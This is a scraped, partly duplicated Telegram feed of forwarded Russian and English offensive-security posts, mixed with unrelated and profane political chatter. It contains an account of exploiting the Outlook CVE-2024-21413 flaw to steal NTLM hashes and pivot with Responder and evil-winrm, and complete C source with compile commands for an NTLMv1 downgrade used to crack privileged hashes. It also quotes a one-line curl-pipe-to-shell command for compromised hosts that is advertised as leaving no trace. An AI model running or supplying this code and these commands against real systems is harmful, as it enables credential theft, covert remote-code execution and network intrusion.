Forwarded from Укротитель змей
Microsoft Outlook RCE
Пост посвящается всем почтальонам, ведь теперь если вам повезет, то можно будет получить
Уязвимость затрагивает продукты такие как
CVE-2024-21413 - уязвимость в
То есть можно отправить письмо с вредоносной ссылкой, которая автоматически инициирует попытку подключения к удаленному ресурсу, что приводит к отправке
Теперь разберем, как это работает. У нас в PoC есть специальный скрипт
Скрипт подключается к указанному
Когда жертва получает письмо,
Одним из наиболее важных аспектов CVE-2024-21413 является её способность обходить проверку безопасности электронной почты, такие как SPF, DKIM, DMARC, Protected View
Ссылка формата
В моем случае с помощью
Прикрепил скрины с реализацией.
PoC
Пост посвящается всем почтальонам, ведь теперь если вам повезет, то можно будет получить
NTLM-хеши, просто отправив сообщение пользователю. Уязвимость затрагивает продукты такие как
Microsoft Office, включая приложения 365 Enterprise, Office 2016 и 2019, а также Office LTSC 2021CVE-2024-21413 - уязвимость в
Microsoft Outlook, которая позволяет выполнить RCE и добиться утечки NTLM-хэшей. Она связана с обработкой Outlook ссылок формата file:// То есть можно отправить письмо с вредоносной ссылкой, которая автоматически инициирует попытку подключения к удаленному ресурсу, что приводит к отправке
NTLM-хэша, НО важно иметь доступ к SMTP-серверу. Теперь разберем, как это работает. У нас в PoC есть специальный скрипт
CVE-2024-21413.py. После его запуска и указания всех флагов происходит следующая цепочка событий.Скрипт подключается к указанному
SMTP-серверу, используя переданные учетные данные, и создает письмо с вредоносной ссылкой. Эта ссылка, замаскированная под обычное сообщение, отправляется пользователю, используя указанные флаги. Тем самым письмо доставляется на почтовый сервер жертвы.Когда жертва получает письмо,
Outlook автоматически обрабатывает его содержимое. Джекпот состоит в том что Outlook, даже без активных действий со стороны пользователя, попытается загрузить ресурс, указанный в ссылке. Эта ссылка формата file:// с символом ! инициирует подключение к серверу по протоколу SMB. Outlook, не требуя дополнительных действий от пользователя, отправляет запрос на сервер с целью получения ресурса, при этом передавая NTLM-хэш для аутентификации.Одним из наиболее важных аспектов CVE-2024-21413 является её способность обходить проверку безопасности электронной почты, такие как SPF, DKIM, DMARC, Protected View
Ссылка формата
file://, используемая в этой уязвимости, может обойти эти защитный механизмы. Outlook автоматически пытается получить доступ к удаленному ресурсу, даже если документ открыт в защищенном режиме !!!В моем случае с помощью
web уязвимости, я вытащил пароль пользователя и далее зная его логин и пароль от outlook написал сообщение другому пользователю в домене, что позволило через Responder перехватить NTLM-хеш и далее подключиться через evil-winrm. Прикрепил скрины с реализацией.
PoC
Forwarded from D00Movenok
Разверни на работе виртуалки прост
Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными
Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)
Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом
Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили
Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))
Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными
Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)
Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом
Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили
Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))
Forwarded from Offensive Xwitter
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]
RELEASE:
This should be the 1st command you execute on a remote shell 🧨
Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).
LEAVES NO TRACE (memory only).
🔗 https://github.com/hackerschoice/hackshell
🐥 [ tweet ]
RELEASE:
This should be the 1st command you execute on a remote shell 🧨
source <(curl -SsfL https://thc.org/hs)
Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).
LEAVES NO TRACE (memory only).
🔗 https://github.com/hackerschoice/hackshell
🐥 [ tweet ]
Forwarded from ITTales :(){ :|:& };:
Хабр
FreeIPA tips & tricks: перенос FreeIPA из LXC-контейнера CentOS 7 в Rocky Linux, дебаг и истекшие сертификаты
Недавно мне довелось обновлять старую FreeIPA в большой компании. Эта FreeIPA была установлена в LXC-контейнере на CentOS 7 и находилась в нерабочем состоянии уже несколько месяцев. Мне передали бэкап...
Forwarded from commit -m "better"
https://www.datagubbe.se/crt/
Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.
Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.
Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).
Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.
Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.
Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).
www.dosbox-staging.org
DOSBox Staging
DOSBox Staging is a modern continuation of DOSBox with advanced features and current development practices.
Forwarded from Offensive Xwitter
😈 [ Logan Goins @shellph1sh ]
Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)
🔗 https://logan-goins.com/2024-07-23-ldap-relay/
🐥 [ tweet ]
Created another write-up, this time on NTLM relay attacks to LDAP(S), including details of WebClient coercion, NTLM transport vulnerabilities, and finally device takeover after achieving authentication. You can read about it on my blog :)
🔗 https://logan-goins.com/2024-07-23-ldap-relay/
🐥 [ tweet ]
Forwarded from Sosach Waffen (ch3rf0l)
Яндекс наёбывает ебанашек которые хотят вступить в РДК* и Легион Свободы России*
Лябрушки в эмиграции потешно злятся🙂
*признаны в РФ петухами
Лябрушки в эмиграции потешно злятся
*признаны в РФ петухами
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Kekenavts Analytics 5G По ППС 🇺🇸🇷🇺🇮🇱🇰🇿🇨🇳🇰🇷🇺🇿🇹🇼
Сука Твиттер стало читать невозможно все сука осинтеры ебучие перешли на russian sources in telegram
Forwarded from Demorianesimo #MovimentoNOBloat (DEMOR #MovimentoNOBloat)
This media is not supported in your browser
VIEW IN TELEGRAM
From @root_hostname
Forwarded from 1N73LL1G3NC3
Whitepaper_DriverJack_Abusing_Emulated_Read_Only_Filesystems_and.pdf
3.8 MB
DriverJack: Turning NTFS and Emulated Read-only Filesystems in an Infection and Persistence Vector
By: Alessandro Magnosi (@klezVirus)
DriverJack
Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths
Key Attack Phases:
By: Alessandro Magnosi (@klezVirus)
DriverJack
Hijacking valid driver services to load arbitrary (signed) drivers abusing native symbolic links and NT paths
Key Attack Phases:
1) ISO Mounting and Driver Selection
1.1) The attack begins with mounting the ISO as a filesystem.
1.2) The attacker selects a service driver that can be manipulated, focusing on those that can be started or restarted without immediate detection.
2) Hijacking the Driver Path
2.1) The core of the attack involves hijacking the driver path. The methods used include:
2.2) Direct Reparse Point Abuse
2.3) DosDevice Global Symlink Abuse
2.4) Drive Mountpoint Swap
Forwarded from RedTeam brazzers (Pavel Shlundin)
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
Компилируем так
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.
Forwarded from haxx
Media is too big
VIEW IN TELEGRAM
Всем привет. Выпустил в паблик Sploitify (https://sploitify.haxx.it) - агрегатор эксплойтов/поков/райтапов с тегами по уязвимостям. Что-то вроде GTFOBins, но для эксплойтов. Сейчас в нем можно найти чекеры от nuclei (тысячи их), некоторые эксплойты на эскалацию привилегий и удаленное выполнение кода в винде и никсах. Еще много чего добавлять, но пользоваться уже можно. Надеюсь пригодится и сделает вашу жизнь немножко легче, по крайней мере такая была цель :)
Forwarded from 1N73LL1G3NC3
Living off the VPN — Exploring VPN Post-Exploitation Techniques
What can an attacker accomplish while using only the VPN management interface?
Executive summary:
What can an attacker accomplish while using only the VPN management interface?
Executive summary:
• In this blog post, Akamai researchers highlight the overlooked threat of VPN post-exploitation; that is, we address techniques that can be used by threat actors after compromising a VPN server to further escalate their intrusion.
• Our findings include several vulnerabilities that affected Ivanti Connect Secure and FortiGate VPNs.
• In addition to the vulnerabilities, we detail a set of no-fix techniques that can affect the Ivanti Connect Secure and FortiGate products, and potentially other VPN servers, as well.
• Our research shows that, in many cases, a compromised VPN server could allow attackers to easily gain control over other critical assets in the network.
• This blog post aims to raise awareness of these risks, and presents best practices that should be followed by defenders to minimize the risks of VPN post-exploitation techniques.